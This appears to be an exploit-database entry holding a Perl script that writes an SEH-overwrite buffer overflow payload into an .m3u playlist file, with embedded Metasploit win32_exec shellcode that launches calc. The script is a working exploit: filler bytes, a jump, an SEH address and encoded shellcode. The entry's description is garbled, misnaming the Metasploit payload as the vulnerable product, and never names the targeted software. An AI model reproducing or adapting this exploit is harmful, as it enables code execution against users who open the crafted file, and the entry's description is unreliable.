win32_exec

vendor:

win32_exec

by:

Anonymous

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: win32_exec

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2020

This exploit is a buffer overflow vulnerability in the win32_exec module of Metasploit. It allows an attacker to execute arbitrary code on the target system by overflowing a buffer with malicious code. The exploit uses an encoder called PexFnstenvMov to encode the malicious code and then injects it into the vulnerable application.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all applications are up to date and patched with the latest security updates.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#Greets: His0k4 :) Then His0k4 and After That His0k4
#Special Greets :01000001 01101001 01100011 01101000 01100001 00100000
##################################################################
# win32_exec - EXITFUNC=seh CMD=calc Size=158 Encoder=PexFnstenvMov http://metasploit.com
my $shellcode =
"\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5b\x71\xf9".
"\x90\x83\xeb\xfc\xe2\xf4\xa7\x99\xbd\x90\x5b\x71\x72\xd5\x67\xfa".
"\x85\x95\x23\x70\x16\x1b\x14\x69\x72\xcf\x7b\x70\x12\xd9\xd0\x45".
"\x72\x91\xb5\x40\x39\x09\xf7\xf5\x39\xe4\x5c\xb0\x33\x9d\x5a\xb3".
"\x12\x64\x60\x25\xdd\x94\x2e\x94\x72\xcf\x7f\x70\x12\xf6\xd0\x7d".
"\xb2\x1b\x04\x6d\xf8\x7b\xd0\x6d\x72\x91\xb0\xf8\xa5\xb4\x5f\xb2".
"\xc8\x50\x3f\xfa\xb9\xa0\xde\xb1\x81\x9c\xd0\x31\xf5\x1b\x2b\x6d".
"\x54\x1b\x33\x79\x12\x99\xd0\xf1\x49\x90\x5b\x71\x72\xf8\x67\x2e".
"\xc8\x66\x3b\x27\x70\x68\xd8\xb1\x82\xc0\x33\x81\x73\x94\x04\x19".
"\x61\x6e\xd1\x7f\xae\x6f\xbc\x12\x98\xfc\x38\x71\xf9\x90";
my $bof="\x42" x 2360;
my $next_seh="\xEB\x06\x90\x90";
my $seh="\xB8\x15\xC6\x72";
###################################################################
open(myfile,'>>exploit.m3u');
print myfile $bof.$next_seh.$seh.$shellcode;
###################################################################